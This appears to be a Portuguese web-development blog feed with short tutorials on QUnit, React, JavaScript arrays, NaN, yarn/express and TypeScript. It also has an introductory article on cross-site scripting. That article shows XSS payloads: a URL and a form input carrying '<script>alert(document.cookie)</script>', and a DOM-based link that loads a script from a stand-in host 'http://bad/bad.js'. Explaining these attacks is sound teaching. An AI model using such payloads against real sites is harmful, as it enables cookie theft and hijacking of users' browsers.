QUnit.js: um framework para testes de unidade JavaScript.

Você sabe o que é o QUnit?

O QUnit é um framework para testes de unidade JavaScript poderoso e fácil de usar. É utilizado para testes em projetos jQuery, jQuery UI e jQuery Mobile e é capaz de testar qualquer código JavaScript genérico.

O QUnit foi originalmente desenvolvido por John Resig como parte do jQuery. Em 2008, ele recebeu sua própria home page, nome e documentação da API, permitindo que outras pessoas a utilizem para os testes. Anteriormente, o QUnit ainda dependia de jQuery, mas em 2009 isto foi corrigido, e agora o QUnit é executado de forma completamente autônoma. Os métodos de asserção do QUnit seguem a especificação CommonJS Unit Testing, que foi até certo ponto influenciada pelo QUnit.

Como começar?

Uma configuração mínima para um teste do QUnit:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>QUnit Example</title>
  <link rel="stylesheet" href="https://code.jquery.com/qunit/qunit-2.9.2.css">
</head>
<body>
  <div id="qunit"></div>
  <div id="qunit-fixture"></div>
  <script src="https://code.jquery.com/qunit/qunit-2.9.2.js"></script>
  <script src="tests.js"></script>
</body>
</html>

E o conteúdo do tests.js:

QUnit.test( "hello test", function( assert ) {
  assert.ok( 1 == "1", "Passed!" );
});

No node:

Instale o QUnit globalmente para poder usar o CLI:

$ npm install -g qunit

Crie arquivos de teste em um test directory e execute:

$ qunit

Você deve ver algo como:

TAP version 13
ok 1 Module > Test #1
ok 2 Module > Test #2
1..2
# pass 2
# skip 0
# todo 0
# fail 0

E é isso! Enquanto o QUnit procura por arquivos de teste “test”, você também pode coloca-los em qualquer lugar e, em seguida, especificar caminhos de arquivo ou expressões glob:

$ qunit 'tests/*-test.js'

Para ver as opções adicionais suportadas, basta executar:

$ qunit --help

No npm:

npm install --save-dev qunit

Para testar os recursos mais recentes e correções de bugs no QUnit, uma versão gerada automaticamente a partir do último commit para o repositório QUnit Git também está disponível para uso:

Para mais informações sobre o framework, acesse o site principal do QUnit no link: qunitjs.com/

Gostou deste artigo? Comente abaixo!

React avançado — Utilizando “props.children” como função de primeira classe

O coração do React são componentes. Você pode aninhar esses componentes do mesmo modo que você aninha tags HTML, o que torna tudo mais fácil quando escrevemos JSX, afinal, lembra muito o bom e velho HTML.

Quando eu comecei com React, eu pensei “Basta usar props.children e pronto. Eu sei tudo sobre o objeto .children”. Te digo, como eu estava errado! 🙂

Como estamos trabalhando com JavaScript, nós podemos mudar o .children. Nós podemos passar propriedades para ele, decidir se queremos que ele renderize algo ou não, usá-lo do jeito que quisermos. Vamos mergulhar no poder do .children em React!

Abaixo, segue os tópicos que iremos abortar nesse artigo:

Tabela de conteúdo:

  • Elementos filhos
  • Tudo pode ser um elemento filho
  • Função como elemento filho
  • Manipulando .children
  • Usando loops em .children
  • Contando .children
  • Convertendo .children em um array
  • Permitir apenas um elemento filho
  • Editando .children
  • Mudando as propriedades dos elementos filhos
  • Clonando imutavelmente os elementos filhos
  • É isso aí!

Elementos filhos

Vamos dizer que temos um componente , que contém componentes como elementos filhos. Usamos da seguinte maneira:

<Grid>
  <Row />
  <Row />
  <Row />
</Grid>

Demo: http://www.webpackbin.com/Ekg_vyjPz

Esses três componentes Row são passados para o Grid como props.children. Usando um container como expressão (expression container, termo técnico do JSX para os colchetes), componentes pais podem renderizar os elementos filhos:

class Fullstop extends React.Component {
  render() {
    return <h1>Hello world!</h1>
  }
}

Não importa quantos elementos filhos você passe, ele sempre irá renderizar “Hello world!”, e nada mais.

Nota: O h1 no exemplo acima (assim como todas as tags HTML primitivas), está renderizando seu elemento filho, nesse caso, o nó de texto “Hello world!”

Continue lendo “React avançado — Utilizando “props.children” como função de primeira classe”

Como fazer: Relógio com JavaScript

Aprenda neste artigo como fazer um relógio mostrando a sua hora atual, atualizando em tempo real as horas, minutos e segundos.

Date():

Objetos Date() são baseados no valor de tempo que é o número em milissegundos desde 1º de Janeiro de 1970 (UTC).  O UTC (Também conhecido como Greenwich Mean Time, GMT), refere-se ao tempo como definido pelo Padrão de Tempo Mundial (World Time Standard). O Objeto Date também suporta métodos de tempos locais. O tempo local é o tempo conhecido pelo computador onde o JavaScript é executado.

Neste nosso exemplo, criaremos uma função que irá retornar o tempo de nossa máquina.

Vamos ao código:

Primeiro, criaremos uma tag h3 que irá receber os valores de nossa função. Esta tag mostrará as horas, os minutos e os segundos.

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Relógio</title>
</head>
<body>
    <h3 id="hora"></h3>
    <script>
    </script>
</body>
</html>

Criado este campo de input, iremos criar uma função setInterval. Esta função irá executar uma função anônima que, utilizando o método Date(), getHours(), getMinutes(), retornará as horas, minutos e segundos atuais diretamente para a página HTML, utilizando o textContent.

setInterval(function(){
    
    let novaHora = new Date();
    // getHours trará a hora
    // geMinutes trará os minutos
    // getSeconds trará os segundos
    let hora = novaHora.getHours();
    let minuto = novaHora.getMinutes();
    let segundo = novaHora.getSeconds();

    // Chamamos a função zero para que ela retorne a concatenação
    // com os minutos e segundos
    minuto = zero(minuto);
    segundo = zero(segundo);

    // Com o textContent, iremos inserir as horas, minutos e segundos
    // no nosso elemento HTML
    document.getElementById('hora').textContent = hora+':'+minuto+':'+segundo;
},1000)

Para mostrar as horas no formato padrão (00:00:00), criaremos uma função denominada zero(x) que retornará uma concatenação de um ‘0’ em frente à X, com a condição de x ser menor que 10.

// A function zero concatena a string (número) 0 em frente aos números
// mantendo o zero na frente dos números menores que 10. Exemplo:
// 21:05:01
// 21:05:02
// e assim, sucessivamente
function zero(x) {
    if (x < 10) {
        x = '0' + x;
    } return x;
}

Gostou deste artigo? Deixe seu comentário abaixo!

Como remover Elementos de um Array JavaScript alterando o length

Em JavaScript, os Arrays permitem agrupar valores e iterar sobre eles. Você pode adicionar e remover elementos destes vetores de várias maneiras diferentes.

Ao invés de um método de exclusão, o Array JavaScript possui várias maneiras de limpar os valores do vetor. Você pode remover os elementos do final de um Array usando pop(), no início usando shift(), ou no meio usando splice().

Removendo elementos do final de um Array utilizando o length:

Os elementos de um Array JavaScript podem ser removidos do final de um vetor, definindo a propriedade length (tamanho do array) como um valor menor que o valor atual. Qualquer elemento que possuir o índice maior que o estipulado no novo length, será removido.

// Definindo o vetor de tamanho 6 (a partir do índice 0)
let array1 = [1, 2, 3, 4, 5, 6];
array1.length = 4; // Alterando o tamanho (length) do array
console.log(array1); // [1, 2, 3, 4] vetor alterado

Removendo elementos do início de um Array utilizando o shift():

Para remover o primeiro elemento de um Array no JavaScript, podemos utilizar o método shift(). Ele funciona de forma muito parecida com o método pop(), com a diferença que o pop() remove o último elemento, e o shift() remove o primeiro elemento do vetor. Não é necessário passar parâmetros neste método, pois o shift() irá remover apenas o primeiro elemento do vetor. Os outros elementos restantes serão realocados para seus novos índices. O elemento que estava no índice 1, será realocado para o índice 0, e assim, sucessivamente.

// Criando um vetor com 4 elementos
let array2 = ['Ana', 'Marcos', 'Paulo', 'Alexandre'];
array2.shift(); // Removerá o primeiro elemento do vetor: 'Ana'
console.log(array2); // ['Marcos', 'Paulo', 'Alexandre']

O shift() retorna o elemento que foi removido, atualiza os índices e atualiza o length do Array. Se não houver elementos ou o comprimento da matriz for 0, o método retornará undefined.

Removendo elementos do meio do Array utilizando o splice():

O método splice() é utilizado para remover elementos de determinados índices de um vetor. Será necessário passar dois parâmetros neste método. O primeiro, especifica o índice que será removido. O segundo, especifica quantos elementos a partir deste índice serão removidos.

// Criando um vetor com os elementos 
let array3 = [1, 2, 3, 4, 5, 6, 7, 8, 9];
// Crie uma variável para adicionar o método slice()
// Passe como argumentos a partir de qual índice será removido, e quantos elementos serão removidos
let remover = array3.splice(3, 3);
console.log(array3); // [1, 2, 3, 7, 8, 9]

Gostou deste artigo? Tire suas dúvidas abaixo na sessão de comentários!

Diferenças entre React Native e React JS

Nos últimos anos, o React Native tornou-se um framework interessante e muito usado para Android e outras aplicações móveis de plataforma cruzada. Foi também customizado por alguns dos contribuidores para criação de aplicativos para desktop, como Mac e Windows.
Ainda há alguma confusão entre React Native e ReactJS. Embora sejam semelhantes de certa forma, existem grandes diferenças entre os dois.

Por que escolher o React?

Gerenciado pelo Facebook, Instagram e uma grande comunidade de empresas e desenvolvedores, o React é um dos frameworks mais procurados. De acordo com a análise JavaScript, o React está sendo utilizado em sites como Walmart, Netflix, Airbnb e Feedly.
Ele oferece websites com alto desempenho e escalabilidade. Reac garante até reusabilidade de código, permitindo aos desenvolvedores otimizar seu tempo na criação de códigos. Também otimiza o SEO da sua aplicação web. Embora o conceito de React ainda seja novo, ele está amadurecendo rapidamente, e o Facebook planeja continuar investindo nele.

As diferenças:

React Native é um framework para desenvolvimento mobile que reúne todos os componentes de um aplicativo nativo, auxiliando você a criar os aplicativos móveis nativos para Android, Windows e iOS em JavaScript. Isso permite que o usuário utilize o React JS para construir os componentes. Ele tem bibliotecas embutidas e seu navegador de bibliotecas auxilia na navegação de aplicativos móveis.

O React JS, também conhecido como React.js, é outro framework usado em desenvolvimento de interfaces de usuário para aplicativos da web. Para navegar pelas páginas da web, ele faz uso do React Router. Também faz uso de bibliotecas JavaScript e CSS para fins de animação.

Saber as diferenças básicas entre React Native e React JS não é o suficiente. Você também deve conhecer os prós de cada framework para se aprofundar neles.

React Native Prós:

É um dos frameworks JavaScript de mais rápido crescimento, que é como uma varinha mágica para os desenvolvedores. Se você for iniciante no desenvolvimento de aplicativos , precisará apenas conhecer alguns elementos de UI, JavaScript, APIs de plataforma ou quaisquer outros padrões de design específicos da plataforma.

Continue lendo “Diferenças entre React Native e React JS”

NaN e typeof.

Uma análise da propriedade NaN e por que ela é considerada um tipo de número.

typeof NaN
//'number'

Primeiramente, NaN é uma propriedado do objeto global, e não uma palavra-chave (diferente de true, false, null, entre outros). O valor de NaN é o mesmo que o valor de Number.NaN:

NaN; // NaN
Number.NaN; // NaN

Existem várias formas em que o NaN pode acontecer:

  • Divisão de zero por zero;
  • Dividindo um infinito por um infinito;
  • Multiplicação de um infinito por um zero;
  • Qualquer operação na qual NaN é um operando;
  • Convertendo uma String não numérica ou indefinida em um número.

Por que o tipo NaN retorna “number”?

typeof NaN; // "number"

O padrão ECMAScript indica que os números devem ser dados de ponto flutuante IEEE-754. Isso inclui Infinity, -Infinity e também, NaN. Por definição, NaN é o valor de retorno de operações que possuem um resultado numérico indefinido. Daí porque, em JavaScript, além de fazer parte do objeto global, também faz parte do objeto Number: Number.NaN.

Ainda é um tipo de dados numérico, mas é indefinido como um número real. O NaN também representa qualquer número fora do domínio de definição do ECMAScript.

A aritmética computacional é limitada:

Considere a seguinte operação:

(3.2317006071311 * 10e616) / (3.2317006071311 * 10e616); // NaN
Como a Wikipedia declara:

“A aritmética computacional não pode operar diretamente em números reais, mas apenas em um subconjunto finito de números racionais, limitado pelo número de bits usados para armazená-los.”

Na aritmética ordinária, 3,2317006071311 * 10616 é um número real finito, mas, pelos padrões ECMAScript, é simplesmente muito grande (ou seja, consideravelmente maior que Number.MAX_VALUE) e, portanto, é representado como Infinity.

A tentativa de dividir Infinity por Infinity produzirá NaN. Na aritmética comum, ambos são operandos finitos, a operação claramente é igual a 1. Neste caso, o NaN está no lugar de um numero real que não pôde ser computado devido ao tamanho dos operandos. Pareceria contra-intuitivo se os tipos NaN retornassem algo diferente de “número”. Afinal, no exemplo dado, NaN simplesmente representa um valor que não pôde ser determinado pela aritmética computacional.

NaN é desordenado:

De acordo com o padrão de ponto flutuante IEEE 754, a comparação com NaN sempre retorna um resultado não ordenado. Ou seja, NaN não é igual a, maior que ou menor que qualquer coisa, incluindo ele mesmo:

NaN < 1;    // false
NaN > 1;    // false
NaN == NaN; // false
// Mas ainda podemos verificar por NaN:
isNaN(NaN); // true

É por isso que você não pode determinar se um dado valor é NaN comparando-o com NaN e, em vez disso, deve usar a função isNaN().

Não surpreende, portanto, que a implementação nativa da função isNaN() possa ser simplesmente substituída por:

// Implementacao Nativa
function isNaN(x) {
  x = Number(x);
  // se x é NaN, NaN! = NaN é verdadeiro, senão é falso
  return x != x;
}

A implementação nativa de isNaN() retorna true mesmo se o valor for indefinido ou se o valor não puder ser coagido em um tipo de dados de número primitivo. Existem algumas bibliotecas que apresentam as suas próprias implementações. Por exemplo, a do Underscore é a seguinte:

_.isNaN = function(obj) {
  // `NaN` é o único valor para o qual` === `não é reflexivo.
  return obj !== obj;
};

Mas, seu comportamento não é o mesmo que a função isNaN() nativa:

let x;            // undefined
isNaN(x);         // true
isNaN(undefined); // true
isNaN("a");       // true
Comparado ao Underscore:
let x;              // undefined
_.isNaN(x);         // false
_.isNaN(undefined); // false
_.isNaN("a");       // false

Booleanos não são NaNs:

Considerando o código a seguir:

isNaN(true);  // false
isNaN(false); // false

Isso ocorre porque os valores booleanos são considerados e implementados como valores numéricos com um único dígito binário (ou seja, bit), portanto, eles são coagidos em suas respectivas representações de bits:

Number(true);  // 1
Number(false); // 0

Gostou deste artigo? Comente abaixo!

Cross-Site Scripting (XSS), você sabe o que é?

O cross-site scripting (XSS) é um ataque de injeção de código que permite que um invasor execute códigos JavaScript mal-intencionados no navegador da vítima.

O atacante explora uma vulnerabilidade em algum site que a vítima visita, com o objetivo de inserir código JavaScript malicioso no navegador. Para que o ataque possa ocorrer é necessário um formulário que permita que o atacante interaja, como campos de busca, inserção de comentários, entre outros campos de preenchimento. A única maneira de o invasor inserir e executar o JavaScript no navegador da vítima é injetá-lo diretamente em uma das áginas que o usuário baixa do site. Isso acontece se o site inclui diretamente a entrada do usuário em suas páginas e o invasor pode inserir uma string que será tratada como código pelo navegador da vítima.

Existem três tipos de Cross-Site Script, são eles:

Reflected XSS:

Nesta vulnerabilidade, a exploração envolve a elaboração de uma solicitação com código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. Neste ataque, um campo de busca, por exemplo, pode ser utilizado para injetar o código malicioso. O código HTML inserido é entregue pela aplicação e devolvido como parte integrante do código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador do próprio usuário.

Exemplo:

http://www.vul.site/bemvindo.html?name=ciclano

echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';

Considere que um usuário mal intencionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo:

http://www.example.com/bemvindo.html?name=<script>alert(document.cookie)</script>

Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.

Stored XSS:

Exige que o usuário mal intencionado possua uma forma de escrever dados diretamente na página, como por exemplo campos de comentários, campos de preenchimento, entre outros. É muito perigoso, pois mantém os dados armazenados permanentemente na página, fazendo com que todos os usuários que visitem esa área específica executem o script malicioso sempre que a acessem.

Exemplo:

Caso um site permita a inserção de código HTML integralmente nos campos de entrada do nome e sobrenome no formulário para atualização das preferências do usuário:

<script>alert(document.cookie)</script>

Nesta forma, quando for executada uma busca pelos usuários cadastrados, o código HTML acima será executado assim que o usuário aparecer na relação dos resultados de busca.

DOM Based:

Este ataque permite a modificação de propriedades dos objetos do DOM diretamente no navegador da vítima. Não depende de nenhuma interação por parte do servidor que hospeda a página web. Utiliza-se diretamente de vulnerabilidades existentes na interpretação do código HTML no navegador.

Exemplo:

<script>
let estilo = ‘style’ + location.hash + ‘.css’;
document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);
</script>

Agora, como exemplo, um link construído de maneira a carreggar um código arbitrário, conforme exemplo abaixo:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

Quando a vítima executar no navegador, a referência será utilizada para inserir um script mal-intencionado na página web.

Referências: https://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Gostou deste artigo? Deixe seu comentário abaixo!

Criando aplicação node com yarn

Recentemente comecei a estudar node para o desenvolvimento de API e notei que a curva de aprendizado é muito rápida, se souber quais bibliotecas utilizar o desenvolvimento fica extremamente rápido. Nesse artigo vou mostrar como iniciar um projeto node usando o yarn e como criar uma rota com o express.

Vantagens de se usar o yarn:

O yarn funciona que nem o npm, ou seja é um gerenciador de pacotes. Mas ele tem um diferencial, ele armazena o cache do que já foi baixado, ao meu ver pra quem baixa muitas dependências, isso agiliza muito o processo e por isso eu vejo como vantajoso, mas essa é minha opinião, claro.

Para começar vamos instalar o node e o yarn baixando:

Feito a instalação, vamos testar para ver se tudo foi instalado corretamente. Para isso abra o terminal se estiver em sistemas baseados em unix ou o bom e velho CMD se estiver no Windows e digite os seguintes comandos:

node -v
yarn -v

O resultado deve ser igual o da foto mostrando a versão de ambos. Feito isso vamos começar a brincadeira iniciando o projeto, para isso cria uma pasta com o nome de sua escolha, a minha será “iniciando_com_node” lembre-se: evite usar espaços de preferencia a “spider case” ou a “camelcase”. Depois, acesse a pasta criada via linha de comando e dentro dela execute o seguinte comando:

touch index.js

Esse comando cria um arquivo.

yarn init -y

O comando “yarn init -y” inicia o yarn e aceita todas as opções dele, as mesmas podem ser alteradas depois.

Quando iniciarmos o yarn, podemos acessar a pasta criada no editor de texto de sua preferencia. Eu recomendo o VSCode.

Abrir o arquivo “package.json”, que é o arquivo que o comando anterior criou. Nele contém todas as informações que concordamos em aceitar sem nem ler, e nesse arquivo em formato json, elas podem ser editadas sem nenhum problema.

Vamos instalar o express na linha de comando. Execute o comando:

yarn add express

Após a instalação, vamos colar a mão na massa.

Com isso, nosso arquivo index.js ficará igual ao da foto abaixo:

Depois, para saber se nosso servidor express funcionou, basta executar o comando:

node index.js

Bom, agora vamos criar uma rota para ser acessada via navegador.

Ao final do arquivo adicione o seguinte código:

 app.get('/', (req, res) =>{
    res.send("Essa é a primeira rota criada com o express")
})

Vou explicar o que ele faz. Estou chamando o express para escutar tudo que vier de requisição com o get na roda / ou seja na rota raiz da aplicação, em seguida cria uma função anônima passando os parâmetros req e res que são esperados pelo express, pode ser qualquer nome mas para ser intuitivo usei req=request e res=response, no retorno dessa função pego o response e peço para ele deixar uma mensagem no navegador.

Pare  o servidor e execute o comando para subir ele de novo, para visualizarmos os resultados.

Bom espero que tenham gostado desse passo-a-passo de node, para criticas e sugestões entrem em contato no twitter: https://twitter.com/tinho361

Referência: Renato Rebouças

TypeScript: Named Parameters

Em uma das últimas atualizações do core do TypeScript, a equipe de desenvolvimento fez refactoring em uma funcionalidade chamada Named Parameters.

Para ficar mais claro como funciona essa funcionalidade, imagine o seguinte cenário: “Você tem uma model com algumas propriedades string, number … e precisa passar dados para ela:

function rolandGarros(
    typeMatch?: number,
    typeLabel?: string,
    round?: number,
    roundLabel?: string,
    courtName?: string,
    durationInMinutes?: number
) {
    return console.log(typeMatch, typeLabel, round, roundLabel, courtName, durationInMinutes);
};

Chamando a função rolandGarros:

rolandGarros(3, 'Draws', 1, 'First Round', 'Philippe-Chatrier Court', 10)

Nesse cenário é muito comum um dev passar o valor de uma propriedade no lugar da outra. Para resolver isso nós podemos utilizar o Named Parameters.

Veja abaixo como ficaria a nossa função:

function rolandGarros(
{ typeMatch, typeLabel, round, roundLabel, courtName, durationInMinutes }: { typeMatch?: number; typeLabel?: string; round?: number; roundLabel?: string; courtName?: string; durationInMinutes?: number; } = {}) {
    return console.log(typeMatch, typeLabel, round, roundLabel, courtName, durationInMinutes);
};

E como nós podemos fazer uma chamada:

rolandGarros({ typeMatch: 3, typeLabel: ‘Draws’, round: 1, roundLabel: ‘First Round’, courtName: ‘Philippe-Chatrier Court’, durationInMinutes: 10 })

Note que dessa forma nós podemos passar o nome da propriedade junto com o seu valor, dessa forma fica bem mais simples de olharmos e passar o valor de cada um dos parâmetros da nossa function.

E agora, como o TypeScript 3.4 ajuda nessa conversão?

A pedido de um dev da comunidade, o pessoal adicionou a funcionalidade “Convert parameters to destructured object“, onde com apenas um click ele já altera a nossa função e os locais onde nós estamos chamado ela. Abaixo você tem um vídeo demonstrando esse passo:

Bem legal né?

Essa é uma das funcionalidades que eu acredito ajudar muito no nosso dia dia.

Espero que tenham gostado e até o próximo artigo pessoal 😉

Diferenças entre innerHTML, innerText e textContent.

Você conhece a diferença entre innerText, textContent e innerHTML?

São utilizados na manipulação do DOM (Document Object Model). Cada uma destas propriedades retorna algo, e descobriremos o que elas retornam neste artigo.

Diferenças:

Utilizando o exemplo a seguir, criaremos as propriedades:

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Exemplo innerHTML, innerText e textContent</title>
</head>
<body>
    <!-- Criando um parágrafo com formatação CSS inline nos textos -->
    <p id="textoHtml">
        <span style="display: none">Hakuna</span><strong>Matata</strong>
        <span style="visibility: hidden;">Mundo</span>
        <span>JS</span>
    </p>

    <script src="main.js"></script>
</body>
</html>

innerHTML:

Utilizado na manipulação do DOM, o innerHTML retorna todo o texto e o html que existem no elemento. Ele retorna todo o html existente, retornando também às tags, e não somente o texto.

// Criando uma variável que irá buscar o elemento HTML pelo Id
let exemploInner = document.getElementById("textoHtml");
        
console.log("------ USANDO innerHTML ------");
console.log(exemploInner.innerHTML);

Importante:

O innerHTML pode ser usado para inserção de tags, textos e imagens em uma página web, gerando um risco de segurança. Parecido com um cross-site scripting, mas inofensivo, pois o HTML5 especifica que uma tag <script> inserida via innerHTML em uma página web não deve ser executada. Entretanto, existem formas de executar JavaScript sem usar <script>, portanto, ainda há um risco de segurança ao utilizar o innerHTML. Por esta razão, recomenda-se não utilizar o innerHTML para inserção de texto puro.

innerText:

Já o innerText retorna apenas o texto. Ele ignora todas as tags HTML que estão dentro do elemento, mas ainda assim, “entende” o css do elemento, retornando apenas textos visíveis. Utiliza-se quando queremos buscar apenas o texto visível disponível no elemento.

console.log("------ USANDO innerText ------");
console.log(exemploInner.innerText);

textContent:

O textContent funciona de forma muito semelhante ao innerText, porém, retornando todo o conteúdo de texto, incluindo o texto oculto pelo css, bem como as quebras de linha (\n). Utilizamos o textContent quando queremos buscar todo o texto disponível no elemento.

console.log("------ USANDO textContent ------");
console.log(exemploInner.textContent);

Gostou deste artigo? Compartilhe com seus amigos e comente abaixo!